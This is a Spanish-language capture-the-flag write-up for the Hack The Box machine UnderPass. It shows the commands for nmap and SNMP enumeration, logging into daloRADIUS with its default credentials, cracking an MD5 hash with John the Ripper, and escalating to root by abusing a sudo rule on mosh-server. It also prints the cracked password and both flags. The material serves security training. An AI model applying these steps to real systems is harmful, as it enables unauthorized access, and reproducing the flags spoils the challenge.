Entrada

Writeup UnderPass

Writeup UnderPass

En este writeup, compartiré el proceso que seguí para comprometer la máquina UnderPass en Hack The Box. A través de la enumeración SNMP, la explotación de credenciales por defecto de daloRADIUS, y la escalada de privilegios utilizando mosh-server, logré obtener ambas flags.

alt text

1. Introducción

Dificultad: Fácil
Dirección IP: 10.10.11.48
Objetivo: Obtener la bandera de usuario y la de root.
Herramientas utilizadas: nmap, snmp-check, gobuster, hashid, john the ripper

2. Reconocimiento Inicial

En primer lugar guardé en la variable IP la IP del sistema objetivo y comprobé la conexión al mismo.

alt text

2.1. Escaneo de Puertos con Nmap

Comencé con un escaneo de puertos para identificar los servicios activos en la máquina. Utilicé los siguientes comandos:

1
sudo nmap -Pn -sS 10.10.11.48 -oA scan_TCP

alt text

1
sudo nmap -p22,80 -sSCV 10.10.11.48 -oA scan_TCP_services

alt text

1
sudo nmap -sU -F 10.10.11.48 -oA scan_UDP

alt text

En los resultados, detecté abiertos los puertos:

  • 22 (SSH)
  • 80 (HTTP)
  • 161 (SNMP)

3. Enumeración de Servicios

3.1. Enumeración SNMP

Al ver que el puerto 161 estaba abierto, procedí a utilizar snmp-check para obtener información:

1
snmp-check -t 10.10.11.48

El escaneo reveló información interesante:

  • Hostname: UnDerPass.htb (indicando que es el único servidor daloRADIUS en la red).
  • Sistema: Linux underpass 5.15.0-126-generic (Ubuntu).
  • Contacto: steve@underpass.htb.
  • Ubicación: Nevada, U.S.A.

alt text

3.2. Investigación de daloRADIUS

Dado que el escaneo SNMP reveló que el servidor ejecutaba daloRADIUS, busqué más información sobre esta aplicación.

alt text

Encontré su página en GitHub y su wiki de instalación.

La wiki proporcionaba credenciales por defecto:

  • Usuario: administrator
  • Contraseña: radius

alt text

Además, mencionaba directorios de configuración que podrían estar expuestos.

alt text

3.3. Enumeración Web con Gobuster

Con esta información, ejecuté gobuster para buscar directorios expuestos:

1
gobuster dir -u http://10.10.11.48 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

alt text

El escaneo encontró el siguiente directorio interesante:

  • /daloradius/app/operators/index.php: Al intentar acceder, fui redirigido a un panel de login en /daloradius/app/operators/login.php.

3.4. Acceso al Panel de daloRADIUS

Probé las credenciales por defecto en el panel de login:

1
2
Usuario: administrator
Contraseña: radius

alt text

Para mi suerte, las credenciales funcionaron y tuve acceso al panel de administración.

alt text

Dentro del panel, localicé la lista de usuarios y encontré un usuario llamado svcMosh con el siguiente hash de contraseña:

1
412DD4759978ACFCC81DEAB01B382403

alt text

4. Cracking del Hash y Acceso al Sistema

4.1. Identificación del Hash

Utilicé hashid para identificar el tipo de hash:

1
hashid 412DD4759978ACFCC81DEAB01B382403

alt text

El resultado indicó que se trataba de un hash MD5.

4.2. Cracking con John the Ripper

Con la identificación del hash, procedí a crackearlo usando John the Ripper y el diccionario rockyou.txt:

1
john --format=raw-md5 --wordlist=/home/kali/rockyou.txt hash.txt

En pocos segundos, John reveló la contraseña:

1
underwaterfriends

alt text

4.3. Acceso Vía SSH

Con las credenciales del usuario svcMosh, intenté conectarme al servicio SSH de la máquina:

1
ssh svcMosh@10.10.11.48

Ingresé la contraseña underwaterfriends y logre acceder exitosamente.

alt text

4.4. Obtención de la Flag de Usuario

Una vez dentro, navegué hasta el directorio personal del usuario y encontré el archivo user.txt:

1
cat /home/svcMosh/user.txt

La flag de usuario era:

1
f7515bf03b0af43a7fd6e9fe5a872906

alt text

5. Escalada de Privilegios

5.1. Verificación de Permisos Sudo

Para explorar posibles caminos de escalada de privilegios, comprobé los comandos que el usuario svcMosh tiene permiso para ejecutar con privilegios elevados mediante sudo. Ejecuté:

1
sudo -l

El resultado mostró que el usuario svcMosh podía ejecutar el comando /usr/bin/mosh-server sin contraseña:

1
2
User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

alt text

5.2. Explotación de mosh-server

Revisé la ayuda de mosh-server

alt text

Descubrí que el parámetro --server permitía la ejecución de comandos arbitrarios. Aproveché esto para obtener una shell como root:

1
mosh --server="sudo /usr/bin/mosh-server" 127.0.0.1

alt text

Al ejecutar el comando, obtuve acceso root. Verifiqué mi identidad con:

1
id

La salida confirmó que ahora era root.

alt text

6. Obtención de la Flag de Root

Comprobé el contenido de la carpeta con

1
ls -lisah

Obtuve el fichero root.txt que contenía la flag de root.

alt text

La flag de root era:

1
7998aa1e4a318a736bd8aa02ab54b779

7. Conclusión

El compromiso de la máquina UnderPass se logró combinando la enumeración SNMP y la explotación de configuraciones inseguras en daloRADIUS. La presencia de credenciales por defecto y el mal uso de permisos sudo en mosh-server facilitaron el acceso al sistema y la escalada de privilegios.

Lecciones aprendidas:

Esta entrada está licenciada bajo CC BY 4.0 por el autor.